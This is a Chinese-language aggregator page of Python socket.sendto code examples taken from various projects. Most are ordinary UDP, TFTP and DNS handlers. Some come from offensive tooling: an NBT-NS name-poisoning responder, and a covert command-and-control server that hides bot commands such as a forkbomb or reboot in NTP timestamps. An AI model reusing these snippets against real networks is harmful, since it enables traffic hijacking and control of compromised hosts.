Python socket.sendto方法代码示例

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def _send_socket(self, cmd, rtnCmd, ip, port):
        socket = self._socket
        try:
            _LOGGER.debug('Sending to GW {0}'.format(cmd))
            self._read_unwanted_data()

            socket.settimeout(30.0)
            socket.sendto(cmd.encode(), (ip, port))
            socket.settimeout(30.0)
            data, addr = socket.recvfrom(1024)
            if len(data) is not None:
                resp = json.loads(data.decode())
                _LOGGER.debug('Recieved from GW {0}'.format(resp))
                if resp["cmd"] == rtnCmd:
                    return resp
                else:
                    _LOGGER.error("Response from {0} does not match return cmd".format(ip))
                    _LOGGER.error(data)
            else:
                _LOGGER.error("No response from Gateway")
        except socket.timeout:
            _LOGGER.error("Cannot connect to Gateway")
            socket.close() 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle_data(self, socket, data):

            block_num = struct.unpack('!H', data[2:4])[0]

            if hasattr(self.server, 'filename_path') and self.server.filename_path:

                safe_file = self.server.tftp_file_prefix + "_" + urllib.quote(self.server.filename_path, '')
                output_file = ListenerBase.safe_join(os.getcwd(),
                                                          safe_file)
                f = open(output_file, 'ab')
                f.write(data[4:])
                f.close()

                # Send ACK packet for the given block number
                ack_packet = OPCODE_ACK + data[2:4]
                socket.sendto(ack_packet, self.client_address)

            else:
                self.server.logger.error('Received DATA packet but don\'t know where to store it.') 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle(self):
		global  callback
		global  client_data
		socket = None
		try:
			client_data = self.request[0].strip()
			socket = self.request[1]
			log.message("UDP Server received: " + client_data, Log.DEBUG)
			callback() 	# Call the get data routine
			socket.sendto('OK', self.client_address)
		except:
			log.message("UDP RequestHandler error", Log.ERROR)
			socket.sendto('NOTOK', self.client_address)
		return

	# Handle client disconnect 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def proxyrequest(self, request, host, port="53", protocol="udp"):
        reply = None
        try:
            if self.server.ipv6:

                if protocol == "udp":
                    sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
                elif protocol == "tcp":
                    sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)

            else:
                if protocol == "udp":
                    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                elif protocol == "tcp":
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            sock.settimeout(3.0)

            # Send the proxy request to a randomly chosen DNS server

            if protocol == "udp":
                sock.sendto(request, (host, int(port)))
                reply = sock.recv(1024)
                sock.close()

            elif protocol == "tcp":
                sock.connect((host, int(port)))

                # Add length for the TCP request
                length = binascii.unhexlify("%04x" % len(request)) 
                sock.sendall(length+request)

                # Strip length from the response
                reply = sock.recv(1024)
                reply = reply[2:]

                sock.close()

        except Exception, e:
            print "[!] Could not proxy request: %s" % e 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle(self):
        (data,socket) = self.request
        response = self.parse(data)
        
        if response:
            socket.sendto(response, self.client_address)

# TCP DNS Handler for incoming requests 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def send_ipv4(self, packet: bytes) -> int:
        """
        send_ipv4 is a thin wrapper around socket.sendto()
        :param packet: bytes object containing an IPv4 header, and encap'd proto packet (ie: udp/tcp)
        :return: int: the bits put on the wire
        """
        bits = self.raw_sock.sendto(packet, (self.ip_daddr, 0))
        return bits 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle_rrq(self, socket, filename):

        filename_path = ListenerBase.safe_join(self.server.tftproot_path,
                                                    filename)

        # If virtual filename does not exist return a default file based on extention
        if not os.path.isfile(filename_path):

            file_basename, file_extension = os.path.splitext(filename)

            # Calculate absolute path to a fake file
            filename_path = ListenerBase.safe_join(self.server.tftproot_path,
                                                        EXT_FILE_RESPONSE.get(file_extension.lower(), u'FakeNetMini.exe'))


        self.server.logger.debug('Sending file %s', filename_path)

        f = open(filename_path, 'rb')

        i = 1

        while True:

            # Read in a buffer of blocksize from the file
            data_block = f.read(BLOCKSIZE)

            if not data_block or len(data_block) == 0:
                break

            data_packet = OPCODE_DATA + struct.pack('!H', i) + data_block
            socket.sendto(data_packet, self.client_address)

            i += 1

        f.close() 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle_wrq(self, socket, filename):

        self.server.filename_path = filename

        # Send acknowledgement so the client will begin writing
        ack_packet = OPCODE_ACK + "\x00\x00"
        socket.sendto(ack_packet, self.client_address) 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle(self):

		data, socket = self.request
		Name = Decode_Name(data[13:45])

		# Break out if we don't want to respond to this host
		if RespondToThisHost(self.client_address[0], Name) is not True:
			return None

		if data[2:4] == "\x01\x10":

			if settings.Config.Finger_On_Off:
				Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
			else:
				Finger = None

			# Analyze Mode
			if settings.Config.AnalyzeMode:
				settings.Config.AnalyzeLogger.warning("{} [Analyze mode: NBT-NS] Request for {}, ignoring".format(self.client_address[0], Name))

			# Poisoning Mode
			else:
				Buffer = NBT_Ans()
				Buffer.calculate(data)
				socket.sendto(str(Buffer), self.client_address)

				settings.Config.PoisonersLogger.warning("{} [NBT-NS] Poisoned answer for name {} (service: {})" .format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))

			if Finger is not None:
				settings.Config.ResponderLogger.info("[FINGER] OS Version     : {}".format(Finger[0]))
				settings.Config.ResponderLogger.info("[FINGER] Client Version : {}".format(Finger[1])) 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def run(self):
    global taskQueue,stopFlag
    while True:
      if stopFlag == True:
        print "WorkThread Ended"
        break
      try:
        data,addr,recvTimestamp = taskQueue.get(timeout=1)
        recvPacket = NTPPacket()
        recvPacket.from_data(data)
        timeStamp_high,timeStamp_low = recvPacket.GetTxTimeStamp()
        sendPacket = NTPPacket(version=3,mode=4)
        sendPacket.stratum = 2
        sendPacket.poll = 10
        sendPacket.ref_timestamp = recvTimestamp-5
        sendPacket.SetOriginTimeStamp(timeStamp_high,timeStamp_low)
        sendPacket.recv_timestamp = recvTimestamp
        # old time method
        #sendPacket.tx_timestamp = system_to_ntp_time(time.time())
        # prompt for shell command
        tx_command = 0
        shellInput = raw_input(PROMPT)
        if shellInput == '1': tx_command = 1 #Set bot to issue a forkbomb
        if shellInput == '2': tx_command = 2 #Set bot to reboot if root
        if shellInput == '3': tx_command = 3 #Set bot to issue a test command
        if shellInput == '4': exit(0) #Set program to exit cleanly
        if tx_command == 0: system_to_ntp_time(time.time())
        #for char in shellInput:
          #tx_command.append(ord(char))
        #tx_command = int(''.join(map(str,tx_command)))
        print tx_command
        sendPacket.tx_timestamp = tx_command
        socket.sendto(sendPacket.to_data(),addr)
        print "Sent to %s:%d" % (addr[0],addr[1])
      except Queue.Empty:
        continue 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def sendto_ready(packet, socket, future, dest):
    try:
        socket.sendto(packet, dest)
    except (BlockingIOError, InterruptedError):
        return  # The callback will be retried
    except Exception as exc:
        asyncio.get_event_loop().remove_writer(socket)
        future.set_exception(exc)
    else:
        asyncio.get_event_loop().remove_writer(socket)
        future.set_result(None) 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def reply(self, data, address):
        socket = self.request[1]
        socket.sendto(str_to_bytes(data), address) 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def get(items):

    try:

        message = json.dumps(items).encode('utf-8')         # Take requested data and convert to bytes
        socket.sendto(message, (network.ip,network.port))   # Send data to server
        data, ip = socket.recvfrom(4000)                    # Wait for response, create 4000 byte buffer to store response.
        data = json.loads(data)                             # Take response and convert from bytes to string
        data = dict(zip(items, data))                       # Combine request list with respose list to create dictionary
        return data                                         # Return data

    except Exception as e:

        print(e)
        return 1 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle(self):
        logger.debug('handle')

        # Echo the back to the client
        data = self.request[0]
        socket = self.request[1]
        logger.debug('received (udp) from %s: "%s"',
                     self.client_address, data)
        socket.sendto(data, self.client_address)
        return 

# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def proxyrequest(self, request, host, port="53", protocol="udp"):
        clientip = {'clientip': self.client_address[0]}

        reply = None
        try:
            if DNSChef().ipv6:

                if protocol == "udp":
                    sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
                elif protocol == "tcp":
                    sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)

            else:
                if protocol == "udp":
                    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                elif protocol == "tcp":
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            sock.settimeout(3.0)

            # Send the proxy request to a randomly chosen DNS server

            if protocol == "udp":
                sock.sendto(request, (host, int(port)))
                reply = sock.recv(1024)
                sock.close()

            elif protocol == "tcp":
                sock.connect((host, int(port)))

                # Add length for the TCP request
                length = binascii.unhexlify("%04x" % len(request)) 
                sock.sendall(length+request)

                # Strip length from the response
                reply = sock.recv(1024)
                reply = reply[2:]

                sock.close()

        except Exception as e:
            log.warning("Could not proxy request: {}".format(e), extra=clientip)
            dnslog.info("Could not proxy request: {}".format(e), extra=clientip)
        else:
            return reply